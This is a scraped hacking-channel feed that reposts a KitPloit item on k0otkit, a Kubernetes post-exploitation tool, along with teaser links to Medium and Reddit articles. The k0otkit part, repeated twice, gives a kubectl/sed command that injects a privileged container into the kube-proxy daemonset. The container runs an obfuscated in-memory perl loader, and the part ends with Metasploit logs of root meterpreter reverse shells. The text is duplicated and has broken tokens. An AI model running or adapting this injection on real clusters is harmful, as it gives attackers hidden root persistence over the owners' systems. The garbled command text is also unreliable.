root@victim-2:~# # assume that ctr_line_num < volume_line_num
root@victim-2:~# # otherwise you should switch the two sed commands below
root@victim-2:~#
root@vict im-2:~# # inject malicious container into kube-proxy pod
root@victim-2:~# kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml \
> | sed "$volume_line_num a\ \ \ \ \ \ - name: $volume_name\n hostPath:\n path: /\n type: Directory\n" \
> | sed "$ctr_line_num a\ \ \ \ \ \ - name: $ctr_name\n image: $image\n imagePullPolicy: IfNotPresent\n command: [\"sh\"]\n args: [\"-c\", \"echo \$$payload_name | perl -e 'my \$n=qq(); my \$fd=syscall(319, \$n, 1); open(\$FH, qq(>&=).\$fd); select((select(\$FH), \$|=1)[0]); print \$FH pack q/H*/, ; my \$pid = fork(); if (0 != \$pid) { wait }; if (0 == \$pid){system(qq(/proc/\$\$\$\$/fd/\$fd))}'\"]\n env:\n - name: $payload_name\n valueFrom:\n secretKeyRef:\n name: $secret_name\n key: $secret_data_name\n securityContext:\n privileged: true\ n volumeMounts:\n - mountPath: $mount_path\n name: $volume_name" \
> | kubectl replace -f -
daemonset.extensions/kube-proxy replaced
Wait for reverse shells: msf5 exploit(multi/handler) > [*] Sending stage (985320 bytes) to 192.168.1.106
[*] Meterpreter (https://www.kitploit.com/search/label/Meterpreter) session 1 opened (192.168.1.107:4444 -> 192.168.1.106:51610) at 2020-11-30 03:30:18 -0500
msf5 exploit(multi/handler) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x86/linux uid=0, gid=0, euid=0, egid=0 @ 192.168.1.106 192.168.1.107:4444 -> 192.168.1.106:51610 (192.168.1.106)
Function 1 Exit & Re-connect: msf5 exploit(multi/handler) > sessions 1
[*] Starting interaction with 1...
meterpreter > shell
Process 9 created.
Channel 1 created.
whoami
root
exit
meterpreter > exit
[*] Shutting down Meterpreter...
[*] 192.168.1.106 - Meterpreter session 1 closed. Reason: User exit
msf5 exploit(multi/handler) >
[*] Sending stage (985320 bytes) to 192.168.1.106
[*] Meterpreter session 2 opened (192.168.1.107:4444 -> 192.168.1.106:52292) at 2020-11-30 03:32:25 -0500
Function 2 Escape to & Control Node: msf5 exploit(multi/handler) > sessions 2
[*] Starting interaction with 2...
meterpreter > cd /var/kube-proxy-cache
meterpreter > ls
Listing: /var/kube-proxy-cache
==============================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
40755/rwxr-xr-x 4096 dir 2020-03-03 03:21:08 -0500 bin
40755/rwxr-xr-x 4096 dir 2020-03-05 22:23:56 -0500 boot
40755/rwxr-xr-x 4180 dir 2020-04-09 21:32:10 -0400 dev
40755/rwxr-xr-x 4096 dir 2020-04-17 02:31:15 -0400 etc
40755/rwxr-xr-x 4096 dir 2020-03-03 03:00:00 -0500 home
100644/rw-r--r-- 36257923 fil 2020-03-05 22:23:56 -0500 initrd.img
100644/rw-r--r-- 39829184 fil 2020-03-03 03:00:17 -0500 initrd.img.old
40755/rwxr-xr-x 4096 dir 2020-04-16 03:52:46 -0400 lib
40755/rwxr-xr-x 4096 dir 2020-03-03 02:33:23 -0500 lib64
40700/rwx------ 16384 dir 2020-03-03 02:33:19 -0500 lost+found
40755/rwxr-xr-x 4096 dir 2020-03-03 02:33:29 -0500 media
40755/rwxr-xr-x 4096 dir 2020-03-03 02:33:23 -0500 mnt
40755/rwxr-xr-x 4096 dir 2020-04-16 03:59:01 -0400 opt
40555/r-xr-xr-x 0 dir 2020-04-09 21:32:01 -0400 proc
40700/rwx------ 4096 dir 2020-11-30 04:00:05 -0500 root
40755/rwxr-xr-x 1020 dir 2020-11-30 04:04:59 -0500 run
40755/rwxr-xr-x 12288 dir 2020-04-16 03:52:46 -0400 sbin
___________________________
@hacking_Attack
@Hacking_Video
root@victim-2:~# # otherwise you should switch the two sed commands below
root@victim-2:~#
root@vict im-2:~# # inject malicious container into kube-proxy pod
root@victim-2:~# kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml \
> | sed "$volume_line_num a\ \ \ \ \ \ - name: $volume_name\n hostPath:\n path: /\n type: Directory\n" \
> | sed "$ctr_line_num a\ \ \ \ \ \ - name: $ctr_name\n image: $image\n imagePullPolicy: IfNotPresent\n command: [\"sh\"]\n args: [\"-c\", \"echo \$$payload_name | perl -e 'my \$n=qq(); my \$fd=syscall(319, \$n, 1); open(\$FH, qq(>&=).\$fd); select((select(\$FH), \$|=1)[0]); print \$FH pack q/H*/, ; my \$pid = fork(); if (0 != \$pid) { wait }; if (0 == \$pid){system(qq(/proc/\$\$\$\$/fd/\$fd))}'\"]\n env:\n - name: $payload_name\n valueFrom:\n secretKeyRef:\n name: $secret_name\n key: $secret_data_name\n securityContext:\n privileged: true\ n volumeMounts:\n - mountPath: $mount_path\n name: $volume_name" \
> | kubectl replace -f -
daemonset.extensions/kube-proxy replaced
Wait for reverse shells: msf5 exploit(multi/handler) > [*] Sending stage (985320 bytes) to 192.168.1.106
[*] Meterpreter (https://www.kitploit.com/search/label/Meterpreter) session 1 opened (192.168.1.107:4444 -> 192.168.1.106:51610) at 2020-11-30 03:30:18 -0500
msf5 exploit(multi/handler) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x86/linux uid=0, gid=0, euid=0, egid=0 @ 192.168.1.106 192.168.1.107:4444 -> 192.168.1.106:51610 (192.168.1.106)
Function 1 Exit & Re-connect: msf5 exploit(multi/handler) > sessions 1
[*] Starting interaction with 1...
meterpreter > shell
Process 9 created.
Channel 1 created.
whoami
root
exit
meterpreter > exit
[*] Shutting down Meterpreter...
[*] 192.168.1.106 - Meterpreter session 1 closed. Reason: User exit
msf5 exploit(multi/handler) >
[*] Sending stage (985320 bytes) to 192.168.1.106
[*] Meterpreter session 2 opened (192.168.1.107:4444 -> 192.168.1.106:52292) at 2020-11-30 03:32:25 -0500
Function 2 Escape to & Control Node: msf5 exploit(multi/handler) > sessions 2
[*] Starting interaction with 2...
meterpreter > cd /var/kube-proxy-cache
meterpreter > ls
Listing: /var/kube-proxy-cache
==============================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
40755/rwxr-xr-x 4096 dir 2020-03-03 03:21:08 -0500 bin
40755/rwxr-xr-x 4096 dir 2020-03-05 22:23:56 -0500 boot
40755/rwxr-xr-x 4180 dir 2020-04-09 21:32:10 -0400 dev
40755/rwxr-xr-x 4096 dir 2020-04-17 02:31:15 -0400 etc
40755/rwxr-xr-x 4096 dir 2020-03-03 03:00:00 -0500 home
100644/rw-r--r-- 36257923 fil 2020-03-05 22:23:56 -0500 initrd.img
100644/rw-r--r-- 39829184 fil 2020-03-03 03:00:17 -0500 initrd.img.old
40755/rwxr-xr-x 4096 dir 2020-04-16 03:52:46 -0400 lib
40755/rwxr-xr-x 4096 dir 2020-03-03 02:33:23 -0500 lib64
40700/rwx------ 16384 dir 2020-03-03 02:33:19 -0500 lost+found
40755/rwxr-xr-x 4096 dir 2020-03-03 02:33:29 -0500 media
40755/rwxr-xr-x 4096 dir 2020-03-03 02:33:23 -0500 mnt
40755/rwxr-xr-x 4096 dir 2020-04-16 03:59:01 -0400 opt
40555/r-xr-xr-x 0 dir 2020-04-09 21:32:01 -0400 proc
40700/rwx------ 4096 dir 2020-11-30 04:00:05 -0500 root
40755/rwxr-xr-x 1020 dir 2020-11-30 04:04:59 -0500 run
40755/rwxr-xr-x 12288 dir 2020-04-16 03:52:46 -0400 sbin
___________________________
@hacking_Attack
@Hacking_Video
KitPloit - PenTest & Hacking Tools
Leading source of security tools, hacking tools, cybersecurity and network security. Learn about new tools and updates in one place.
40755/rwxr-xr-x 4096 dir 2020-03-03 03:02:37 -0500 snap
40755/rwxr-xr-x 4096 dir 2020-03-03 02:33:23 -0500 srv
40555/r-xr-xr-x 0 dir 2020-04-14 22:51:06 -0400 sys
41777/rwxrwxrwx 4096 dir 2020-11-30 04:10:07 -0500 tmp
40755/rwxr-xr-x 4096 dir 2020-04-16 04:42:54 -0400 usr
40755/rwxr-xr-x 4096 dir 2020-03-03 02:5 1:25 -0500 var
100600/rw------- 6712336 fil 2020-03-05 22:22:58 -0500 vmlinuz
100600/rw------- 7184032 fil 2020-03-03 02:33:55 -0500 vmlinuz.old
Download K0Otkit (https://github.com/Metarget/k0otkit)
___________________________
@hacking_Attack
@Hacking_Video
40755/rwxr-xr-x 4096 dir 2020-03-03 02:33:23 -0500 srv
40555/r-xr-xr-x 0 dir 2020-04-14 22:51:06 -0400 sys
41777/rwxrwxrwx 4096 dir 2020-11-30 04:10:07 -0500 tmp
40755/rwxr-xr-x 4096 dir 2020-04-16 04:42:54 -0400 usr
40755/rwxr-xr-x 4096 dir 2020-03-03 02:5 1:25 -0500 var
100600/rw------- 6712336 fil 2020-03-05 22:22:58 -0500 vmlinuz
100600/rw------- 7184032 fil 2020-03-03 02:33:55 -0500 vmlinuz.old
Download K0Otkit (https://github.com/Metarget/k0otkit)
___________________________
@hacking_Attack
@Hacking_Video
GitHub
GitHub - Metarget/k0otkit: k0otkit is a universal post-penetration technique which could be used in penetrations against Kubernetes…
k0otkit is a universal post-penetration technique which could be used in penetrations against Kubernetes clusters. - Metarget/k0otkit
SQL injection to Remote Command Execution (RCE)
Hello hackers, before we get into it, I would like to know your view of this — between a hacker’s curiosity and instinct which would you…Continue reading on Medium »
Read more...
Hello hackers, before we get into it, I would like to know your view of this — between a hacker’s curiosity and instinct which would you…Continue reading on Medium »
Read more...
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
Cyber Crime Is Increasing During Shortage of Oxygen Cylinder
https://cdn-images-1.medium.com/max/640/0*EBSdRUDiflsdYwuI.jpg
Cyber Crime Is Increasing During Shortage of Oxygen Cylinder
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
Cyber Crime Is Increasing During Shortage of Oxygen Cylinder
https://cdn-images-1.medium.com/max/640/0*EBSdRUDiflsdYwuI.jpg
Cyber Crime Is Increasing During Shortage of Oxygen Cylinder
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
Medium
Cyber Crime Is Increasing During Shortage of Oxygen Cylinder
Cyber Crime Is Increasing During Shortage of Oxygen Cylinder
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
Advantages of Industrial IoT Solutions
https://cdn-images-1.medium.com/max/626/0*L40OfWZ_gLk0oY-r.png
Advantages of Industrial IoT Solutions
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
Advantages of Industrial IoT Solutions
https://cdn-images-1.medium.com/max/626/0*L40OfWZ_gLk0oY-r.png
Advantages of Industrial IoT Solutions
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
Medium
Advantages of Industrial IoT Solutions
Advantages of Industrial IoT Solutions
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
DDoS attack
https://cdn-images-1.medium.com/max/626/0*6pxjgvE3ZRDcGeeI.png
The Meaning Of DDoS Attacks
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
DDoS attack
https://cdn-images-1.medium.com/max/626/0*6pxjgvE3ZRDcGeeI.png
The Meaning Of DDoS Attacks
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
Medium
DDoS attack
The Meaning Of DDoS Attacks
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
Nmap Full Describe | What is Network mapper
https://cdn-images-1.medium.com/max/640/0*CxSfD3rF8uYltwhi.jpg
Nmap Full Describe | What is a Network mapper
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
Nmap Full Describe | What is Network mapper
https://cdn-images-1.medium.com/max/640/0*CxSfD3rF8uYltwhi.jpg
Nmap Full Describe | What is a Network mapper
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
Medium
Nmap Full Describe | What is Network mapper
Nmap Full Describe | What is a Network mapper
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
List Of Latest Cyber law IT Law 2022
https://cdn-images-1.medium.com/max/600/0*MoXk_07gEjHKuRtd.jpg
List Of Latest Cyber law, IT Law 2021
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
List Of Latest Cyber law IT Law 2022
https://cdn-images-1.medium.com/max/600/0*MoXk_07gEjHKuRtd.jpg
List Of Latest Cyber law, IT Law 2021
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
Medium
List Of Latest Cyber law IT Law 2022
List Of Latest Cyber law, IT Law 2021
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
TryHackMe平台介紹
https://cdn-images-1.medium.com/max/1917/1*-zwzd16Tg-mogFgFPrKtPg.png
TryHackMe platform Review
Continue reading on 璿的筆記 »
___________________________
@hacking_Attack
@Hacking_Video
TryHackMe平台介紹
https://cdn-images-1.medium.com/max/1917/1*-zwzd16Tg-mogFgFPrKtPg.png
TryHackMe platform Review
Continue reading on 璿的筆記 »
___________________________
@hacking_Attack
@Hacking_Video
Medium
TryHackMe平台介紹
TryHackMe platform Review
Killing The Bear - New actor added: BlackCat (a.k.a Alphv)
https://www.reddit.com/r/redteamsec/comments/v1qovq/killing_the_bear_new_actor_added_blackcat_aka/
New actor BlackCat (a.k.a Alphv - Noberus) added to 🐻 KillingTheBear 📙 https://killingthebear.jorgetesta.tech/actors/alphv It comes heavily loaded with TTPs and IOCs , processes, records, etc so SOC, CTI, Threat Hunting people take advantage and give it a try. Apart from the traditional sections, also added a timeline of victims and attacks. submitted by /u/J-Testa (https://www.reddit.com/user/J-Testa)
[link] (https://www.reddit.com/r/redteamsec/comments/v1qovq/killing_the_bear_new_actor_added_blackcat_aka/) [comments] (https://www.reddit.com/r/redteamsec/comments/v1qovq/killing_the_bear_new_actor_added_blackcat_aka/)
___________________________
@hacking_Attack
@Hacking_Video
https://www.reddit.com/r/redteamsec/comments/v1qovq/killing_the_bear_new_actor_added_blackcat_aka/
New actor BlackCat (a.k.a Alphv - Noberus) added to 🐻 KillingTheBear 📙 https://killingthebear.jorgetesta.tech/actors/alphv It comes heavily loaded with TTPs and IOCs , processes, records, etc so SOC, CTI, Threat Hunting people take advantage and give it a try. Apart from the traditional sections, also added a timeline of victims and attacks. submitted by /u/J-Testa (https://www.reddit.com/user/J-Testa)
[link] (https://www.reddit.com/r/redteamsec/comments/v1qovq/killing_the_bear_new_actor_added_blackcat_aka/) [comments] (https://www.reddit.com/r/redteamsec/comments/v1qovq/killing_the_bear_new_actor_added_blackcat_aka/)
___________________________
@hacking_Attack
@Hacking_Video
reddit
Killing The Bear - New actor added: BlackCat (a.k.a Alphv)
New actor **BlackCat** (a.k.a **Alphv** \- **Noberus**) added to 🐻 **KillingTheBear**...
SQL injection to Remote Command Execution (RCE)
https://medium.com/@kojodaprogrammer/sql-injection-to-remote-command-execution-rce-dd9a75292d1d?source=rss------bug_bounty-5
___________________________
@hacking_Attack
@Hacking_Video
https://medium.com/@kojodaprogrammer/sql-injection-to-remote-command-execution-rce-dd9a75292d1d?source=rss------bug_bounty-5
___________________________
@hacking_Attack
@Hacking_Video
Medium
SQL injection to Remote Command Execution (RCE)
Hello hackers, before we get into it, I would like to know your view of this — between a hacker’s curiosity and instinct which would you…
Hello hackers, before we get into it, I would like to know your view of this — between a hacker’s curiosity and instinct which would you…Continue reading on Medium » (https://medium.com/@kojodaprogrammer/sql-injection-to-remote-command-execution-rce-dd9a75292d1d?source=rss------bug_bounty-5)
___________________________
@hacking_Attack
@Hacking_Video
___________________________
@hacking_Attack
@Hacking_Video
Medium
SQL injection to Remote Command Execution (RCE)
Hello hackers, before we get into it, I would like to know your view of this — between a hacker’s curiosity and instinct which would you…
KitPloit - PenTest Tools!
K0Otkit - Universal Post-Penetration Technique Which Could Be Used In Penetrations Against Kubernetes Clusters
___________________________
@hacking_Attack
@Hacking_Video
K0Otkit - Universal Post-Penetration Technique Which Could Be Used In Penetrations Against Kubernetes Clusters
___________________________
@hacking_Attack
@Hacking_Video
KitPloit - PenTest & Hacking Tools
K0Otkit - Universal Post-Penetration Technique Which Could Be Used In Penetrations Against Kubernetes Clusters